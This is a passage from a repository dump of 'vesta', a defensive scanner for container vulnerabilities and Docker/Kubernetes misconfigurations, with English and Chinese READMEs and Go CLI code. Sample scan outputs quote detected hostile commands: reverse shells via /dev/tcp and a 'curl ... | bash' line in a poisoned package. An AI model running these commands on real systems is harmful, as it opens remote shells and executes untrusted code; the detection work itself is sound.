                                            |          | password: 'Password123'.       |\n+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+\n|  4 | ClusterRoleBinding          | binding name:                  | verbs: get, watch, list,                               | high     | Key permissions with key       |\n|    |                             | vuln-clusterrolebinding |      | create, update | resources:                            |          | resources given to the         |\n|    |                             | rolename: vuln-clusterrole |   | pods, services                                         |          | default service account, which |\n|    |                             | kind: ClusterRole | subject    |                                                        |          | will cause a potential data    |\n|    |                             | kind: Group | subject name:    |                                                        |          | leakage.                       |\n|    |                             | system:serviceaccounts:vuln |  |                                                        |          |                                |\n|    |                             | namespace: vuln                |                                                        |          |                                |\n+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+\n|  5 | RoleBinding                 | binding name: vuln-rolebinding | verbs: get, watch, list,                               | high     | Key permissions with key       |\n|    |                             | | rolename: vuln-role | role   | create, update | resources:                            |          | resources given to the         |\n|    |                             | kind: Role | subject kind:     | pods, services                                         |          | default service account, which |\n|    |                             | ServiceAccount | subject name: |                                                        |          | will cause a potential data    |\n|    |                             | default | namespace: default   |                                                        |          | leakage.                       |\n+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+\n|  6 | ClusterRoleBinding          | binding name:                  | verbs: get, watch, list,                               | warning  | Key permission are given       |\n|    |                             | vuln-clusterrolebinding2 |     | create, update | resources:                            |          | to unknown user 'testUser',    |\n|    |                             | rolename: vuln-clusterrole |   | pods, services                                         |          | printing it for checking.      |\n|    |                             | subject kind: User | subject   |                                                        |          |                                |\n|    |                             | name: testUser | namespace:    |                                                        |          |                                |\n|    |                             | all                            |                                                        |          |                                |\n+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+\n```\n\n<details>\n<summary>Result</summary>\n\n![](https://user-images.githubusercontent.com/35037256/212480704-c6e6f7ac-6531-4eda-b3a2-1ca99eeedfcf.gif)\n\n</details>\n\n\n## Help information\n\n```bash\n$./vesta -h\nVesta is a static analysis of vulnerabilities, Docker and Kubernetes configuration detect toolkit\n               Tutorial is available at https://github.com/kvesta/vesta\n\nUsage:\n  vesta [command]\n\nAvailable Commands:\n  analyze     Kubernetes analyze\n  completion  Generate the autocompletion script for the specified shell\n  help        Help about any command\n  scan        Container scan\n  update      Update vulnerability database\n  version     Print version information and quit\n\nFlags:\n  -h, --help   help for vesta\n\n```\n\n## Event\n\n### KCon 2023 Weapon list\n- [https://kcon.knownsec.com/index.php?s=bqp&c=category&id=2](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=2)\n\n"
  },
  {
    "path": "README.zh-Hans.md",
    "content": "<p align=\"center\" style=\"text-align: center\">\n    <img src=\"https://user-images.githubusercontent.com/35037256/212051309-56468d85-4132-4780-9722-d1c0dcc79b1b.png\" width=\"55%\">\n<br/>\n</p>\n\n<p align=\"center\">\n  一款集容器扫描，Docker和Kubernetes配置基线检查于一身的工具\n</p>\n\n<div align=\"center\">\n<strong>\n<samp>\n\n[English](README.md) · [简体中文](README.zh-Hans.md)\n\n</samp>\n</strong>\n</div>\n\n## 概述\n\nvesta是一款集容器扫描，Docker和Kubernetes配置基线检查于一身的工具。检查内容包括镜像或容器中包含漏洞版本的组件，同时根据云上实战渗透经验检查Docker以及Kubernetes的危险配置\n<br/>\n<br/>\nvesta同时也是一个灵活，方便的工具，能够在各种系统上运行，包括但不限于Windows，Linux以及MacOS\n\n<details>\n<summary>\n<font size=\"5\"><b>Demo</b></font>\n</summary>\n\n<samp>\n\n![](https://user-images.githubusercontent.com/35037256/212480704-c6e6f7ac-6531-4eda-b3a2-1ca99eeedfcf.gif)\n\n</samp>\n</details>\n\n---\n\n## 检查项\n\n> Scan\n- 支持输入的方式\n  - image\n  - container\n  - filesystem\n  - vm (TODO)\n- 扫描通过主流安装方法安装程序的漏洞\n  - apt/apt-get\n  - rpm\n  - yum\n  - dpkg\n- 扫描软件依赖的漏洞以及恶意投毒的依赖包\n  - Java(Jar, War, 以及主流依赖log4j)\n  - NodeJs(NPM, YARN)\n  - Python(Wheel, Poetry)\n  - Golang(Go binary)\n  - PHP(Composer, 以及主流的PHP框架: laravel, thinkphp, wordpress, wordpress插件等)\n  - Rust(Rust binary)\n  - Others(其他可能造成容器逃逸的文件，或潜在的投毒镜像)\n\n> Docker检查\n\n| Supported | Check Item                | Description                       | Severity                  | Reference                                                                                   |\n|-----------|---------------------------|-----------------------------------|---------------------------|---------------------------------------------------------------------------------------------|\n| ✔         | PrivilegeAllowed          | 危险的特权模式                           | critical                  | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References) |\n| ✔         | Capabilities              | 危险capabilities被设置                 | critical                  | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References) | \n| ✔         | Volume Mount              | 敏感或危险目录被挂载                        | critical                  | [Ref](https://github.com/kvesta/vesta/wiki/Volume-Mount-Checking-References)                |\n| ✔         | Docker Unauthorized       | 2375端口打开并且未授权                     | critical                  | [Ref](https://github.com/vulhub/vulhub/blob/master/docker/unauthorized-rce/README.md)       |\n| ✔         | Kernel version            | 当前内核版本存在逃逸漏洞                      | critical                  | [Ref](https://github.com/kvesta/vesta/wiki/Kernel-Version-References)                       |\n| ✔         | Network Module            | Net模式为`host`模式或同时在特定containerd版本下 | critical/medium           |                                                                                             |\n| ✔         | Pid Module                | Pid模式被设置为`host`                   | high                      |                                                                                             |\n| ✔         | Docker Server version     | Docker Server版本存在漏洞               | critical/high/ medium/low |                                                                                             |\n| ✔         | Docker env password check | Docker env是否存在弱密码                 | high/medium               |                                                                                             |\n| ✔         | Docker history            | Docker layers 存在不安全的命令            | high/medium               |                                                                                             |\n| ✔         | Docker Backdoor           | Docker env command 存在恶意命令         | critical/high             |                                                                                             |\n| ✔         | Docker Swarm              | Docker Swarm存在危险配置信息以及危险的容器检测     | medium/low                |                                                                                             |\n| ✔         | Docker supply chain       | Docker的相关组建存在危险的配置                | critical/high/ medium     | [Ref](https://github.com/kvesta/vesta/wiki/Docker-supply-chain-Checking-References)         |\n\n\n\n---\n\n> Kubernetes检查\n\n\n| Supported | Check Item                                               | Description                                 | Severity                  | Reference                                                                                           |\n|-----------|----------------------------------------------------------|---------------------------------------------|---------------------------|-----------------------------------------------------------------------------------------------------|\n| ✔         | PrivilegeAllowed                                         | 危险的特权模式                                     | critical                  | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References)         |\n| ✔         | Capabilities                                             | 危险capabilities被设置                           | critical                  | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References)         |\n| ✔         | PV and PVC                                               | PV 被挂载到敏感目录并且状态为active                      | critical/medium           | [Ref](https://github.com/kvesta/vesta/wiki/Volume-Mount-Checking-References)                        |\n| ✔         | RBAC                                                     | K8s 权限存在危险配置                                | high/medium/ low/warning  |                                                                                                     |\n| ✔         | Kubernetes-dashborad                                     | 检查 `-enable-skip-login`以及 dashborad的账户权限    | critical/high/ low        | [Ref](https://xz.aliyun.com/t/11316#toc-10)                                                         |\n| ✔         | Kernel version                                           | 当前内核版本存在逃逸漏洞                                | critical                  | [Ref](https://github.com/kvesta/vesta/wiki/Kernel-Version-References)                               |\n| ✔         | Docker Server version  (k8s versions is less than v1.24) | Docker Server版本存在漏洞                         | critical/high/ medium/low |                                                                                                     |\n| ✔         | Kubernetes certification expiration                      | 证书到期时间小于30天                                 | medium                    |                                                                                                     |\n| ✔         | ConfigMap and Secret check                               | ConfigMap 或者 Secret是否存在弱密码                  | high/medium/low           | [Ref](https://github.com/kvesta/vesta/wiki/ConfigMap-and-Secret-Checking-References)                |\n| ✔         | PodSecurityPolicy check (k8s version under the v1.25)    | PodSecurityPolicy过度容忍Pod不安全配置               | high/medium/low           | [Ref](https://kubernetes.io/blog/2021/04/06/podsecuritypolicy-deprecation-past-present-and-future/) |\n| ✔         | Auto Mount ServiceAccount Token                          | Pod默认挂载了service token                       | critical/high/ medium/low | [Ref](https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/configure-service-account/)    |\n| ✔         | NoResourceLimits                                         | 没有限制资源的使用，例如CPU,Memory, 存储                  | low                       | [Ref](https://github.com/kvesta/vesta/wiki/Resource-limitation-Checking-References)                 |\n| ✔         | Job and Cronjob                                          | Job或CronJob没有设置seccomp或seLinux安全策略          | low                       | [Ref](https://www.aquasec.com/cloud-native-academy/docker-container/docker-cis-benchmark/)          | \n| ✔         | Envoy admin                                              | Envoy admin被配置以及监听`0.0.0.0`.                | high/medium               | [Ref](https://www.envoyproxy.io/docs/envoy/latest/start/quick-start/admin#admin)                    |\n| ✔         | Cilium version                                           | Cilium 存在漏洞版本                               | critical/high/ medium/low | [Ref](https://security.snyk.io/package/golang/github.com%2Fcilium%2Fcilium)                         |\n| ✔         | Istio configurations                                     | Istio 存在漏洞版本以及安全配置检查                        | critical/high/ medium/low | [Ref](https://istio.io/latest/news/security/)                                                       |\n| ✔         | Kubelet 10255/10250 and Kubectl proxy                    | 存在node打开了10250或者10255并且未授权或 Kubectl proxy开启 | high/medium/ low          |                                                                                                     |\n| ✔         | Etcd configuration                                       | Etcd 安全配置检查                                 | high/medium               |                                                                                                     |\n| ✔         | Sidecar configurations                                   | Sidecar 安全配置检查以及Env环境检查                     | critical/high/ medium/low |                                                                                                     |              \n| ✔         | Pod annotation                                           | Pod annotation 存在不安全配置                      | high/medium/ low/warning  | [Ref](https://github.com/kvesta/vesta/wiki/Annotation-Checking-References)                          |\n| ✔         | DaemonSet                                                | DaemonSet存在不安全配置                            | critical/high/ medium/low |                                                                                                     |\n| ✔         | Backdoor                                                 | 检查k8s中是否有后门                                 | critical/high             | [Ref](https://github.com/kvesta/vesta/wiki/Backdoor-Detection)                                      |\n| ✔         | Lateral admin movement                                   | Pod被特意配置到Master节点中                          | medium/low                |                                                                                                     |\n\n\n## 编译并使用vesta\n\n1. 编译vesta\n- 使用`make build` 进行编译\n- 从[Releases](https://github.com/kvesta/vesta/releases)上下载可执行文件\n2. 使用vesta检查镜像过容器中的漏洞组件版本（使用镜像ID，镜像标签，文件系统路径或使用`-f`文件输入均可）\n\n```bash\n$./vesta scan container -f example.tar\n\n2022/11/29 22:50:19 Begin upgrading vulnerability database\n2022/11/29 22:50:19 Vulnerability Database is already initialized\n2022/11/29 22:50:19 Begin to analyze the layer\n2022/11/29 22:50:35 Begin to scan the layer\n\nDetected 216 vulnerabilities\n\n+-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+\n| 208 | python3.6 - Django | 2.2.3           | CVE-2019-14232   |   7.5 | high     | An issue was discovered                                          |\n|     |                    |                 |                  |       |          | in Django 1.11.x before                                          |\n|     |                    |                 |                  |       |          | 1.11.23, 2.1.x before 2.1.11,                                    |\n|     |                    |                 |                  |       |          | and 2.2.x before 2.2.4. If                                       |\n|     |                    |                 |                  |       |          | django.utils.text.Truncator's                                    |\n|     |                    |                 |                  |       |          | chars() and words() methods                                      |\n|     |                    |                 |                  |       |          | were passed the html=True                                        |\n|     |                    |                 |                  |       |          | argument, t ...                                                  |\n+-----+                    +-----------------+------------------+-------+----------+------------------------------------------------------------------+\n| 209 |                    | 2.2.3           | CVE-2019-14233   |   7.5 | high     | An issue was discovered                                          |\n|     |                    |                 |                  |       |          | in Django 1.11.x before                                          |\n|     |                    |                 |                  |       |          | 1.11.23, 2.1.x before 2.1.11,                                    |\n|     |                    |                 |                  |       |          | and 2.2.x before 2.2.4.                                          |\n|     |                    |                 |                  |       |          | Due to the behaviour of                                          |\n|     |                    |                 |                  |       |          | the underlying HTMLParser,                                       |\n|     |                    |                 |                  |       |          | django.utils.html.strip_tags                                     |\n|     |                    |                 |                  |       |          | would be extremely ...                                           |\n+-----+                    +-----------------+------------------+-------+----------+------------------------------------------------------------------+\n| 210 |                    | 2.2.3           | CVE-2019-14234   |   9.8 | critical | An issue was discovered in                                       |\n|     |                    |                 |                  |       |          | Django 1.11.x before 1.11.23,                                    |\n|     |                    |                 |                  |       |          | 2.1.x before 2.1.11, and 2.2.x                                   |\n|     |                    |                 |                  |       |          | before 2.2.4. Due to an error                                    |\n|     |                    |                 |                  |       |          | in shallow key transformation,                                   |\n|     |                    |                 |                  |       |          | key and index lookups for                                        |\n|     |                    |                 |                  |       |          | django.contrib.postgres.f ...                                    |\n+-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+\n| 211 | python3.6 - numpy  | 1.24.2          |                  |   8.5 | high     | Malicious package is detected in                                 |\n|     |                    |                 |                  |       |          | '/usr/local/lib/python3.6/site-packages/numpy/setup.py',         |\n|     |                    |                 |                  |       |          | malicious command \"curl https://vuln.com | bash\" are             |\n|     |                    |                 |                  |       |          | detected.                                                        |\n+-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+\n\nDocker Histories:\n+----+---------------+----------------------------+-------+-------+--------+--------------------------------+\n| ID |     NAME      | CURRENT/VULNERABLE VERSION | CVEID | SCORE | LEVEL  |          DESCRIPTION           |\n+----+---------------+----------------------------+-------+-------+--------+--------------------------------+\n|  1 | Image History | - / -                      | -     |   0.0 | high   | Confusion value found          |\n|    |               |                            |       |       |        | in ENV: 'command' with         |\n|    |               |                            |       |       |        | the plain text 'bash -i        |\n|    |               |                            |       |       |        | >&/dev/tcp/127.0.0.1/9999 0>&1 |\n|    |               |                            |       |       |        | '.                             |\n+----+---------------+----------------------------+-------+-------+--------+--------------------------------+\n|  2 |               | - / -                      | -     |   0.0 | medium | Docker history has found the   |\n|    |               |                            |       |       |        | senstive environment with      |\n|    |               |                            |       |       |        | key 'SECRET_KEY' and value:    |\n|    |               |                            |       |       |        | 123456.                        |\n+----+---------------+----------------------------+-------+-------+--------+--------------------------------+\n```\n\n3. 使用vesta检查Docker的基线配置\n\n也可以在docker中使用\n```bash\nmake run.docker\n```\n\n```bash\n$./vesta analyze docker\n\n2022/11/29 23:06:32 Start analysing\n\nDetected 3 vulnerabilities\n\n+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+\n| ID |      CONTAINER DETAIL      |     PARAM      |             VALUE              | SEVERITY |          DESCRIPTION           |\n+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+\n|  1 | Name: Kernel               | kernel version | 5.10.104-linuxkit              | critical | Kernel version is suffering    |\n|    | ID: None                   |                |                                |          | the CVE-2022-0492 with         |\n|    |                            |                |                                |          | CAP_SYS_ADMIN and v1           |\n|    |                            |                |                                |          | architecture of cgroups        |\n|    |                            |                |                                |          | vulnerablility, has a          |\n|    |                            |                |                                |          | potential container escape.    |\n+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+\n|  2 | Name: vesta_vuln_test      | kernel version | 5.10.104-linuxkit              | critical | Kernel version is suffering    |\n|    | ID: 207cf8842b15           |                |                                |          | the Dirty Pipe vulnerablility, |\n|    |                            |                |                                |          | has a potential container      |\n|    |                            |                |                                |          | escape.                        |\n+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+\n|  3 | Name: Image Tag            | Privileged     | true                           | critical | There has a potential container|\n|    | ID: None                   |                |                                |          | escape in privileged  module.  |\n|    |                            |                |                                |          |                                |\n+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+\n|  4 | Name: Image Configuration  | Image History  | Image name:                    | high     | Weak password found            |\n|    | ID: None                   |                | vesta_history_test:latest |    |          | in command: ' echo             |\n|    |                            |                | Image ID: 4bc05e1e3881         |          | 'password=test123456' >        |\n|    |                            |                |                                |          | config.ini # buildkit'.        |\n+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+\n```\n\n4. 使用vesta检查Kubernetes的基线配置\n\n```bash\n2022/11/29 23:15:59 Start analysing\n2022/11/29 23:15:59 Getting docker server version\n2022/11/29 23:15:59 Getting kernel version\n\nDetected 4 vulnerabilities\n\nPods:\n+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+\n| ID |           POD DETAIL           |             PARAM              |             VALUE              |         TYPE          | SEVERITY |          DESCRIPTION           |\n+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+\n|  1 | Name: vulntest | Namespace:    | sidecar name: vulntest |       | true                           | Pod                   | critical | There has a potential          |\n|    | default | Status: Running |    | Privileged                     |                                |                       |          | container escape in privileged |\n|    | Node Name: docker-desktop      |                                |                                |                       |          | module.                        |\n+    +                                +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+\n|    |                                | sidecar name: vulntest |       | Token:Password123456           | Sidecar EnvFrom       | high     | Sidecar envFrom ConfigMap has  |\n|    |                                | env                            |                                |                       |          | found weak password:           |\n|    |                                |                                |                                |                       |          | 'Password123456'.              |\n+    +                                +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+\n|    |                                | sidecar name: sidecartest |    | MALWARE: bash -i >&            | Sidecar Env           | high     | Container 'sidecartest' finds  |\n|    |                                | env                            | /dev/tcp/10.0.0.1/8080 0>&1    |                       |          | high risk content(score:       |\n|    |                                |                                |                                |                       |          | 0.91 out of 1.0), which is a   |\n|    |                                |                                |                                |                       |          | suspect command backdoor.      |\n+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+\n|  2 | Name: vulntest2 | Namespace:   | sidecar name: vulntest2 |      | CAP_SYS_ADMIN                  | capabilities.add      | critical | There has a potential          |\n|    | default | Status: Running |    | capabilities                   |                                |                       |          | container escape in privileged |\n|    | Node Name: docker-desktop      |                                |                                |                       |          | module.                        |\n+    +                                +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+\n|    |                                | sidecar name: vulntest2 |      | true                           | kube-api-access-lcvh8 | critical | Mount service account          |\n|    |                                | automountServiceAccountToken   |                                |                       |          | and key permission are         |\n|    |                                |                                |                                |                       |          | given, which will cause a      |\n|    |                                |                                |                                |                       |          | potential container escape.    |\n|    |                                |                                |                                |                       |          | Reference clsuterRolebind:     |\n|    |                                |                                |                                |                       |          | vuln-clusterrolebinding |      |\n|    |                                |                                |                                |                       |          | roleBinding: vuln-rolebinding  |\n+    +                                +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+\n|    |                                | sidecar name: vulntest2 |      | cpu                            | Pod                   | low      | CPU usage is not limited.      |\n|    |                                | Resource                       |                                |                       |          |                                |\n|    |                                |                                |                                |                       |          |                                |\n+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+\n\nConfigures:\n+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+\n| ID |            TYPEL            |             PARAM              |                         VALUE                          | SEVERITY |          DESCRIPTION           |\n+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+\n|  1 | K8s version less than v1.24 | kernel version                 | 5.10.104-linuxkit                                      | critical | Kernel version is suffering    |\n|    |                             |                                |                                                        |          | the CVE-2022-0185 with         |\n|    |                             |                                |                                                        |          | CAP_SYS_ADMIN vulnerablility,  |\n|    |                             |                                |                                                        |          | has a potential container      |\n|    |                             |                                |                                                        |          | escape.                        |\n+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+\n|  2 | ConfigMap                   | ConfigMap Name: vulnconfig     | db.string:mysql+pymysql://dbapp:Password123@db:3306/db | high     | ConfigMap has found weak       |\n|    |                             | Namespace: default             |                                                        |          | password: 'Password123'.       |\n+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+\n|  3 | Secret                      | Secret Name: vulnsecret-auth   | password:Password123                                   | high     | Secret has found weak          |\n|    |                             | Namespace: default             |                                                        |          | password: 'Password123'.       |\n+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+\n|  4 | ClusterRoleBinding          | binding name:                  | verbs: get, watch, list,                               | high     | Key permissions with key       |\n|    |                             | vuln-clusterrolebinding |      | create, update | resources:                            |          | resources given to the         |\n|    |                             | rolename: vuln-clusterrole |   | pods, services                                         |          | default service account, which |\n|    |                             | kind: ClusterRole | subject    |                                                        |          | will cause a potential data    |\n|    |                             | kind: Group | subject name:    |                                                        |          | leakage.                       |\n|    |                             | system:serviceaccounts:vuln |  |                                                        |          |                                |\n|    |                             | namespace: vuln                |                                                        |          |                                |\n+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+\n|  5 | RoleBinding                 | binding name: vuln-rolebinding | verbs: get, watch, list,                               | high     | Key permissions with key       |\n|    |                             | | rolename: vuln-role | role   | create, update | resources:                            |          | resources given to the         |\n|    |                             | kind: Role | subject kind:     | pods, services                                         |          | default service account, which |\n|    |                             | ServiceAccount | subject name: |                                                        |          | will cause a potential data    |\n|    |                             | default | namespace: default   |                                                        |          | leakage.                       |\n+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+\n|  6 | ClusterRoleBinding          | binding name:                  | verbs: get, watch, list,                               | warning  | Key permission are given       |\n|    |                             | vuln-clusterrolebinding2 |     | create, update | resources:                            |          | to unknown user 'testUser',    |\n|    |                             | rolename: vuln-clusterrole |   | pods, services                                         |          | printing it for checking.      |\n|    |                             | subject kind: User | subject   |                                                        |          |                                |\n|    |                             | name: testUser | namespace:    |                                                        |          |                                |\n|    |                             | all                            |                                                        |          |                                |\n+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+\n```\n\n\n## 使用方法\n\n```bash\n$./vesta -h\nVesta is a static analysis of vulnerabilities, Docker and Kubernetes configuration detect toolkit\n               Tutorial is available at https://github.com/kvesta/vesta\n\nUsage:\n  vesta [command]\n\nAvailable Commands:\n  analyze     Kubernetes analyze\n  completion  Generate the autocompletion script for the specified shell\n  help        Help about any command\n  scan        Container scan\n  update      Update vulnerability database\n  version     Print version information and quit\n\nFlags:\n  -h, --help   help for vesta\n```\n\n## 相关资料\n\n### KCon 2023 兵器谱入选项目\n- [https://kcon.knownsec.com/index.php?s=bqp&c=category&id=2](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=2)"
  },
  {
    "path": "cli/analyze.go",
    "content": "package cli\n\nimport (\n\t\"context\"\n\n\t\"github.com/kvesta/vesta/config\"\n\t\"github.com/kvesta/vesta/internal\"\n\t\"github.com/spf13/cobra\"\n)\n\nfunc analyze() {\n\tanalyzeCmd := &cobra.Command{\n\t\tUse:   \"analyze\",\n\t\tShort: `Kubernetes and Docker analyze`,\n\t\tLong: `Examples:\n  # analyze Docker\n  $ vesta analyze docker\n\n  # Full analyze Kubernetes\n  $ vesta analyze k8s\n\n  # analyze by specifying config\n  $ vesta analyze k8s --kubeconfig config\n\n  # analyze by specifying token\n  $ vesta analyze k8s --token <token> --server <SEVER HOST> --insecure\n\n  # analyze all the namespace\n  $ vesta analyze k8s -n all\n\n  # analyze a special namespace\n  $ vesta analyze k8s -n namespace`}\n\n\tdockerAnalyze := &cobra.Command{\n\t\tUse:   \"docker\",\n\t\tShort: \"analyze docker container\",\n\t\tRun: func(cmd *cobra.Command, args []string) {\n\t\t\tctx := config.Ctx\n\t\t\tctx = context.WithValue(ctx, \"output\", outfile)\n\n\t\t\tinternal.DoInspectInDocker(ctx)\n\t\t},\n\t}\n\n\tkubernetesAnalyze := &cobra.Command{\n\t\tUse:   \"k8s\",\n\t\tShort: \"analyze configure of kubernetes\",\n\t\tRun: func(cmd *cobra.Command, args []string) {\n\t\t\tctx := config.Ctx\n\t\t\tctx = context.WithValue(ctx, \"nameSpace\", nameSpace)\n\t\t\tctx = context.WithValue(ctx, \"kubeconfig\", kubeconfig)\n\t\t\tctx = context.WithValue(ctx, \"output\", outfile)\n\t\t\tctx = context.WithValue(ctx, \"token\", bearerToken)\n\t\t\tctx = context.WithValue(ctx, \"server\", serverHost)\n\t\t\tctx = context.WithValue(ctx, \"insecure\", insecure)\n\n\t\t\tinternal.DoInspectInKubernetes(ctx)\n\t\t},\n\t}\n\n\tkubernetesAnalyze.Flags().StringVarP(&nameSpace, \"ns\", \"n\", \"standard\", \"specific namespace\")\n\tkubernetesAnalyze.Flags().StringVar(&kubeconfig, \"kubeconfig\", \"default\", \"specific configure file\")\n\tkubernetesAnalyze.Flags().BoolVar(&insecure, \"insecure\", false, \"skip verify the tls certificate\")\n\tkubernetesAnalyze.Flags().StringVarP(&outfile, \"output\", \"o\", \"output\", \"output file location\")\n\tkubernetesAnalyze.Flags().StringVar(&bearerToken, \"token\", \"\", \"k8s authentication token\")\n\tkubernetesAnalyze.Flags().StringVar(&serverHost, \"server\", \"\", \"k8s server host\")\n\n\tdockerAnalyze.Flags().StringVarP(&outfile, \"output\", \"o\", \"output\", \"output file location\")\n\n\tanalyzeCmd.AddCommand(dockerAnalyze)\n\tanalyzeCmd.AddCommand(kubernetesAnalyze)\n\n\trootCmd.AddCommand(analyzeCmd)\n\n}\n"
  },
  {
    "path": "cli/banner.go",
    "content": "package cli\n\nconst versions = \"v1.0.11\"\n"
  },
  {
    "path": "cli/cobra.go",
    "content": "package cli\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"strings\"\n\n\t\"github.com/spf13/cobra\"\n)\n\nfunc NoArgs(cmd *cobra.Command, args []string) error {\n\tif len(args) == 0 {\n\t\treturn nil\n\t}\n\n\tif cmd.HasSubCommands() {\n\t\treturn errors.New(fmt.Sprintf(\"\\n\" + strings.TrimRight(cmd.UsageString(), \"\\n\")))\n\t}\n\n\treturn errors.New(fmt.Sprintf(\"\\\"%s\\\" accepts no argument(s).\\nSee '%s --help'.\\n\\nUsage:  %s\\n\\n%s\",\n\t\tcmd.CommandPath(),\n\t\tcmd.CommandPath(),\n\t\tcmd.UseLine(),\n\t\tcmd.Short))\n}\n"
  },
  {
    "path": "cli/command.go",
    "content": "package cli\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"log\"\n\n\t\"github.com/kvesta/vesta/config\"\n\t\"github.com/kvesta/vesta/pkg/vulnlib\"\n\t\"github.com/spf13/cobra\"\n)\n\nvar (\n\trootCmd = &cobra.Command{\n\t\tUse:   \"vesta [OPTIONS]\",\n\t\tShort: \"Docker and Kubernetes analysis\",\n\t\tLong: `Vesta is a static analysis of vulnerabilities, Docker and Kubernetes configuration detect toolkit\n               Tutorial is available at https://github.com/kvesta/vesta`,\n\t}\n\n\ttarFile     string\n\tnameSpace   string\n\tkubeconfig  string\n\tbearerToken string\n\tserverHost  string\n\toutfile     string\n\tupdateall   bool\n\tskipUpdate  bool\n\tinsecure    bool\n)\n\nfunc Execute() error {\n\n\tversionCmd := &cobra.Command{\n\t\tUse:   \"version\",\n\t\tShort: \"Print version information and qui\",\n\t\tArgs:  NoArgs,\n\t\tRun: func(cmd *cobra.Command, args []string) {\n\t\t\tfmt.Println(versions)\n\t\t},\n\t}\n\n\t// Upgrade vulnerability database\n\tdataupgradeCmd := &cobra.Command{\n\t\tUse:   \"update\",\n\t\tShort: \"Update vulnerability database\",\n\t\tArgs:  NoArgs,\n\t\tRun: func(cmd *cobra.Command, args []string) {\n\t\t\tctx := config.Ctx\n\t\t\tctx = context.WithValue(ctx, \"reset\", updateall)\n\n\t\t\terr := vulnlib.Fetch(ctx)\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"Updating vulnerability database failed, error: %v\", err)\n\t\t\t}\n\n\t\t\tlog.Printf(config.Green(\"Updating vulnerability database success\"))\n\t\t},\n\t}\n\n\tdataupgradeCmd.Flags().BoolVarP(&updateall, \"all\", \"a\", false, \"Reset the database\")\n\n\trootCmd.AddCommand(dataupgradeCmd)\n\trootCmd.AddCommand(versionCmd)\n\n\tanalyze()\n\tscan()\n\n\treturn rootCmd.Execute()\n}\n"
  },
  {
    "path": "cli/scan.go",
    "content": "package cli\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"io\"\n\t\"log\"\n\t\"os\"\n\n\t\"github.com/kvesta/vesta/config\"\n\t\"github.com/kvesta/vesta/internal\"\n\t\"github.com/kvesta/vesta/pkg/inspector\"\n\t\"github.com/spf13/cobra\"\n)\n\nfunc scan() {\n\tscanCmd := &cobra.Command{\n\t\tUse:   \"scan [OPTIONS]\",\n\t\tShort: `Container scan`,\n\t\tLong: `Examples:\n  # Scan a container image\n  $ vesta scan image nginx:latest\n\n  # Scan a container image with specific host\n  $ DOCKER_HOST=<DOCKER host> vesta scan image nginx:latest\n\n  # Scan a container image from a tar archive\n  $ vesta scan image -f python.tar\n \n  # Scan a running container\n  $ vesta scan container nginx1\n\n  # Scan a exported container from a tar archive\n  $ vesta scan container -f nginx.tar\n\n  # Scan a filesystem\n  $ vesta scan fs filepath/`}\n\n\timageCheck := &cobra.Command{\n\t\tUse:   \"image\",\n\t\tShort: \"input from image\",\n\t\tRun: func(cmd *cobra.Command, args []string) {\n\n\t\t\tctx := config.Ctx\n\t\t\tctx = context.WithValue(ctx, \"tarType\", \"image\")\n\t\t\tctx = context.WithValue(ctx, \"output\", outfile)\n\t\t\tctx = context.WithValue(ctx, \"skip\", skipUpdate)\n\n\t\t\tif len(args) < 1 && tarFile == \"\" {\n\t\t\t\tfmt.Println(\"Require at least 1 argument.\")\n\t\t\t\tos.Exit(1)\n\t\t\t}\n\n\t\t\tvar tarIO []io.ReadCloser\n\n\t\t\tif tarFile == \"\" {\n\t\t\t\tvar err error\n\t\t\t\ttarIO, err = inspector.GetTarFromID(ctx, args[0])\n\n\t\t\t\tif err != nil {\n\t\t\t\t\tos.Exit(1)\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\tif tarFile == \"\" && len(tarIO) < 1 {\n\t\t\t\tlog.Printf(\"Cannot get tarfile. \" +\n\t\t\t\t\t\"Make sure that you have the right image ID \" +\n\t\t\t\t\t\"or use -f to get from tar file\")\n\t\t\t\treturn\n\t\t\t}\n\t\t\tinternal.DoScan(ctx, tarFile, tarIO)\n\t\t},\n\t}\n\n\tcontainerCheck := &cobra.Command{\n\t\tUse:   \"container\",\n\t\tShort: \"input from 